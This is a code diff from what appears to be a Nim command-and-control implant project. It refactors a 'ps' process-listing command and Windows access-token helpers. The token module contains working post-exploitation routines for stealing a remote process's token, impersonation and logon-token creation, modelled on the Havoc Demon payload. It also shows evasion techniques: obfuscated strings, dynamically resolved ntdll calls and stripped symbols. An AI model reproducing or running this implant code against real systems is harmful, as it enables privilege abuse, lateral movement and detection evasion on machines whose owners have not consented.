Updated 'ps' command implementation.

src/agent/core/process.nim

@@ -0,0 +1,74 @@
+import winim/lean 
+import winim/inc/tlhelp32
+import strutils, strformat, tables, algorithm
+import ../utils/io
+import ../../common/[types, utils]
+import token
+
+type 
+    ProcessInfo* = object 
+        pid*: DWORD
+        ppid*: DWORD 
+        name*: string 
+        user*: string
+        children*: seq[DWORD]
+
+    # NtQuerySystemInformation = proc(systemInformationClass: SYSTEM_INFORMATION_CLASS, systemInformation: PVOID, systemInformationLength: ULONG, returnLength: PULONG): NTSTATUS {.stdcall.}
+    NtOpenProcess = proc(hProcess: PHANDLE, desiredAccess: ACCESS_MASK, oa: PCOBJECT_ATTRIBUTES, clientId: PCLIENT_ID): NTSTATUS {.stdcall.}    
+    NtOpenProcessToken = proc(processHandle: HANDLE, desiredAccess: ACCESS_MASK, tokenHandle: PHANDLE): NTSTATUS {.stdcall.}
+
+const PROCESS_QUERY_LIMITED_INFORMATION = 0x00001000'i32
+
+proc cmp*(x, y: ProcessInfo): int = 
+    return cmp(x.pid, y.pid)
+
+proc processList*(): Table[DWORD, ProcessInfo] = 
+    result = initTable[DWORD, ProcessInfo]() 
+
+    # Take a snapshot of running processes
+    let hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
+    if hSnapshot == INVALID_HANDLE_VALUE: 
+        raise newException(CatchableError, GetLastError().getError)    
+    defer: CloseHandle(hSnapshot)
+
+    var pe32: PROCESSENTRY32
+    pe32.dwSize = DWORD(sizeof(PROCESSENTRY32))
+
+    # Loop over processes to fill the map            
+    if Process32First(hSnapshot, addr pe32) == FALSE:
+        raise newException(CatchableError, GetLastError().getError)
+    
+    let pNtOpenProcess = cast[NtOpenProcess](GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("NtOpenProcess")))
+    let pNtOpenProcessToken = cast[NtOpenProcessToken](GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("NtOpenProcessToken")))
+    
+    while Process32Next(hSnapshot, addr pe32): 
+        var 
+            status: NTSTATUS
+            hToken: HANDLE 
+            hProcess: HANDLE
+            oa: OBJECT_ATTRIBUTES
+            clientId: CLIENT_ID
+        
+        var procInfo = ProcessInfo(
+            pid: pe32.th32ProcessID,
+            ppid: pe32.th32ParentProcessID,
+            name: $cast[WideCString](addr pe32.szExeFile[0]),
+            children: @[]
+        )
+
+        # Retrieve user context    
+        InitializeObjectAttributes(addr oa, NULL, 0, 0, NULL)
+        clientId.UniqueProcess = cast[HANDLE](pe32.th32ProcessID)
+        clientId.UniqueThread = 0
+
+        status = pNtOpenProcess(addr hProcess, PROCESS_QUERY_INFORMATION, addr oa, addr clientId)
+        if status == STATUS_SUCCESS and hProcess != 0: 
+            status = pNtOpenProcessToken(hProcess, TOKEN_QUERY, addr hToken)
+            if status == STATUS_SUCCESS and hToken != 0: 
+                procInfo.user = hToken.getTokenUser().username
+        
+        result[pe32.th32ProcessID] = procInfo
+
+    for pid, procInfo in result.mpairs():
+        if result.contains(procInfo.ppid):
+            result[procInfo.ppid].children.add(pid)

src/agent/core/token.nim

@@ -70,12 +70,12 @@ proc getCurrentToken*(desiredAccess: ACCESS_MASK = TOKEN_QUERY): HANDLE =
 
     return hToken
 
-proc sidToString(apis: Apis, sid: PSID): string = 
+proc sidToString(sid: PSID, apis: Apis = initApis()): string = 
     var stringSid: LPSTR 
     discard apis.ConvertSidToStringSidA(sid, addr stringSid)
     return $stringSid
 
-proc sidToName*(sid: PSID): string = 
+proc sidToName(sid: PSID): string = 
     var 
         usernameSize: DWORD = 0
         domainSize: DWORD = 0
@@ -90,7 +90,7 @@ proc sidToName*(sid: PSID): string =
         return $domain[0 ..< int(domainSize)] & "\\" & $username[0 ..< int(usernameSize)]
     return ""
 
-proc privilegeToString(apis: Apis, luid: PLUID): string =
+proc privilegeToString(luid: PLUID): string =
     var privSize: DWORD = 0
 
     # Retrieve required size
@@ -104,7 +104,7 @@ proc privilegeToString(apis: Apis, luid: PLUID): string =
 #[
     Retrieve and return information about an access token
 ]#
-proc getTokenStatistics(apis: Apis, hToken: HANDLE): tuple[tokenId, tokenType: string] = 
+proc getTokenStatistics(hToken: HANDLE, apis: Apis = initApis()): tuple[tokenId, tokenType: string] = 
     var
         status: NTSTATUS = 0
         returnLength: ULONG = 0
@@ -120,7 +120,7 @@ proc getTokenStatistics(apis: Apis, hToken: HANDLE): tuple[tokenId, tokenType: s
 
     return (tokenId, tokenType)
 
-proc getTokenUser(apis: Apis, hToken: HANDLE): tuple[username, sid: string] = 
+proc getTokenUser*(hToken: HANDLE, apis: Apis = initApis()): tuple[username, sid: string] = 
     var
         status: NTSTATUS = 0
         returnLength: ULONG = 0
@@ -139,9 +139,9 @@ proc getTokenUser(apis: Apis, hToken: HANDLE): tuple[username, sid: string] =
     if status != STATUS_SUCCESS:
         raise newException(CatchableError, status.getNtError())
     
-    return (sidToName(pUser.User.Sid), apis.sidToString(pUser.User.Sid))
+    return (sidToName(pUser.User.Sid), sidToString(pUser.User.Sid, apis))
 
-proc getTokenElevation(apis: Apis, hToken: HANDLE): bool = 
+proc getTokenElevation(hToken: HANDLE, apis: Apis = initApis()): bool = 
     var 
         status: NTSTATUS = 0
         returnLength: ULONG = 0
@@ -153,7 +153,7 @@ proc getTokenElevation(apis: Apis, hToken: HANDLE): bool =
 
     return cast[bool](pElevation.TokenIsElevated)
 
-proc getTokenGroups(apis: Apis, hToken: HANDLE): string = 
+proc getTokenGroups(hToken: HANDLE, apis: Apis = initApis()): string = 
     var
         status: NTSTATUS = 0
         returnLength: ULONG = 0
@@ -178,9 +178,9 @@ proc getTokenGroups(apis: Apis, hToken: HANDLE): string =
 
     result &= fmt"Group memberships ({groupCount})" & "\n"
     for i, group in groups.toOpenArray(0, int(groupCount) - 1): 
-        result &= fmt" - {apis.sidToString(group.Sid):<50} {sidToName(group.Sid)}" & "\n"
+        result &= fmt" - {sidToString(group.Sid, apis):<50} {sidToName(group.Sid)}" & "\n"
 
-proc getTokenPrivileges(apis: Apis, hToken: HANDLE): string = 
+proc getTokenPrivileges(hToken: HANDLE, apis: Apis = initApis()): string = 
     var
         status: NTSTATUS = 0
         returnLength: ULONG = 0
@@ -206,31 +206,31 @@ proc getTokenPrivileges(apis: Apis, hToken: HANDLE): string =
     result &= fmt"Privileges ({privCount})" & "\n"
     for i, priv in privs.toOpenArray(0, int(privCount) - 1):
         let enabled = if priv.Attributes and SE_PRIVILEGE_ENABLED: "Enabled" else: "Disabled" 
-        result &= fmt" - {apis.privilegeToString(addr priv.Luid):<50} {enabled}" & "\n"
+        result &= fmt" - {privilegeToString(addr priv.Luid):<50} {enabled}" & "\n"
 
 
 proc getTokenInfo*(hToken: HANDLE): string = 
     let apis = initApis() 
 
-    let (tokenId, tokenType) = apis.getTokenStatistics(hToken)
+    let (tokenId, tokenType) = getTokenStatistics(hToken, apis)
     result &= fmt"TokenID:  0x{tokenId}" & "\n"
     result &= fmt"Type:     {tokenType}" & "\n"
  
-    let (username, sid) = apis.getTokenUser(hToken)
+    let (username, sid) = getTokenUser(hToken, apis)
     result &= fmt"User:     {username}" & "\n"
     result &= fmt"SID:      {sid}" & "\n"
     
-    let isElevated = apis.getTokenElevation(hToken)
+    let isElevated = getTokenElevation(hToken, apis)
     result &= fmt"Elevated: {$isElevated}" & "\n"
 
-    result &= apis.getTokenGroups(hToken    )
+    result &= getTokenGroups(hToken, apis)
-    result &= apis.getTokenPrivileges(hToken)
+    result &= getTokenPrivileges(hToken, apis)
 
 #[
     Impersonate token 
     - https://github.com/HavocFramework/Havoc/blob/main/payloads/Demon/src/core/Token.c#L1281
 ]#
-proc impersonate*(apis: Apis, hToken: HANDLE) = 
+proc impersonate*(hToken: HANDLE, apis: Apis = initApis()) = 
     var 
         status: NTSTATUS
         qos: SECURITY_QUALITY_OF_SERVICE
@@ -239,7 +239,7 @@ proc impersonate*(apis: Apis, hToken: HANDLE) =
         returnLength: ULONG = 0
         duplicated: bool = false 
 
-    if apis.getTokenStatistics(hToken).tokenType == protect("Primary"): 
+    if getTokenStatistics(hToken, apis).tokenType == protect("Primary"): 
         # Create a duplicate impersonation token
         qos.Length = cast[DWORD](sizeof(SECURITY_QUALITY_OF_SERVICE))
         qos.ImpersonationLevel = securityImpersonation
@@ -308,9 +308,9 @@ proc makeToken*(username, password, domain: string, logonType: DWORD = LOGON32_L
         raise newException(CatchableError, GetLastError().getError())
     defer: discard apis.NtClose(hToken)
     
-    apis.impersonate(hToken)
+    impersonate(hToken, apis)
 
-    return apis.getTokenUser(hToken).username
+    return getTokenUser(hToken, apis).username
 
 proc enablePrivilege*(privilegeName: string, enable: bool = true): string = 
     let apis = initApis()
@@ -338,7 +338,7 @@ proc enablePrivilege*(privilegeName: string, enable: bool = true): string =
         raise newException(CatchableError, status.getNtError())        
 
     let action = if enable: protect("Enabled") else: protect("Disabled")
-    return fmt"{action} {apis.privilegeToString(addr luid)}."
+    return fmt"{action} {privilegeToString(addr luid)}."
 
 #[
     Steal the access token of a remote process and impersonate it
@@ -375,6 +375,6 @@ proc stealToken*(pid: int): string =
         raise newException(CatchableError, status.getNtError())
     defer: discard apis.NtClose(hToken)
 
-    apis.impersonate(hToken)
+    impersonate(hToken, apis)
 
-    return apis.getTokenUser(hToken).username
+    return getTokenUser(hToken, apis).username

src/agent/nim.cfg

@@ -5,5 +5,5 @@
 --passL:"-s" # Strip symbols, such as sensitive function names
 -d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
 -d:MODULES="511"
--d:VERBOSE="false"
+-d:VERBOSE="true"
 -o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"

src/modules/systeminfo.nim

@@ -40,18 +40,7 @@ when defined(agent):
     import os, strutils, strformat, tables, algorithm
     import ../agent/utils/io
     import ../agent/protocol/result
-    import ../agent/core/token
+    import ../agent/core/process
-
-    # TODO: Add user context to process information
-    type 
-        ProcessInfo = object 
-            pid: DWORD
-            ppid: DWORD 
-            name: string 
-            user: string
-            children: seq[DWORD]
-
-        NtQueryInformationToken = proc(hToken: HANDLE, tokenInformationClass: TOKEN_INFORMATION_CLASS, tokenInformation: PVOID, tokenInformationLength: ULONG, returnLength: PULONG): NTSTATUS {.stdcall.}
 
     proc executePs(ctx: AgentCtx, task: Task): TaskResult = 
         
@@ -59,74 +48,12 @@ when defined(agent):
         
         try: 
             var processes: seq[DWORD] = @[]
-            var procMap = initTable[DWORD, ProcessInfo]()
             var output: string = ""
-
-            # Take a snapshot of running processes
-            let hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
-            if hSnapshot == INVALID_HANDLE_VALUE: 
-                raise newException(CatchableError, GetLastError().getError)
             
-            # Close handle after object is no longer used
+            var procMap = processList() 
-            defer: CloseHandle(hSnapshot)
 
-            var pe32: PROCESSENTRY32
-            pe32.dwSize = DWORD(sizeof(PROCESSENTRY32))
-
-            # Loop over processes to fill the map            
-            if Process32First(hSnapshot, addr pe32) == FALSE:
-                raise newException(CatchableError, GetLastError().getError)
-            
-            while true: 
-                # Retrieve information about the process
-                var 
-                    hToken: HANDLE 
-                    hProcess: HANDLE
-                    user: string
-                
-                # User context
-                hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pe32.th32ProcessID)
-                if hProcess != 0: 
-                    if OpenProcessToken(hProcess, TOKEN_QUERY, addr hToken): 
-                        var
-                            status: NTSTATUS = 0
-                            returnLength: ULONG = 0
-                            pUser: PTOKEN_USER
-
-                        let pNtQueryInformationToken = cast[NtQueryInformationToken](GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("NtQueryInformationToken")))
-
-                        status = pNtQueryInformationToken(hToken, tokenUser, NULL, 0, addr returnLength)
-                        if status != STATUS_SUCCESS and status != STATUS_BUFFER_TOO_SMALL:
-                            raise newException(CatchableError, status.getNtError())
-                        
-                        pUser = cast[PTOKEN_USER](LocalAlloc(LMEM_FIXED, returnLength))
-                        if pUser == NULL:
-                            raise newException(CatchableError, GetLastError().getError())
-                        defer: LocalFree(cast[HLOCAL](pUser))
-                        
-                        status = pNtQueryInformationToken(hToken, tokenUser, cast[PVOID](pUser), returnLength, addr returnLength)
-                        if status != STATUS_SUCCESS:
-                            raise newException(CatchableError, status.getNtError())
-
-                        user = sidToName(pUser.User.Sid)
-                
-                var procInfo = ProcessInfo(
-                    pid: pe32.th32ProcessID,
-                    ppid: pe32.th32ParentProcessID,
-                    name: $cast[WideCString](addr pe32.szExeFile[0]),
-                    user: user,
-                    children: @[]
-                )
-                procMap[pe32.th32ProcessID] = procInfo
-
-                if Process32Next(hSnapshot, addr pe32) == FALSE: 
-                    break 
-
-            # Build child-parent relationship
             for pid, procInfo in procMap.mpairs():
-                if procMap.contains(procInfo.ppid):
+                if not procMap.contains(procInfo.ppid):
-                    procMap[procInfo.ppid].children.add(pid)
-                else: 
                     processes.add(pid)
 
             # Add header row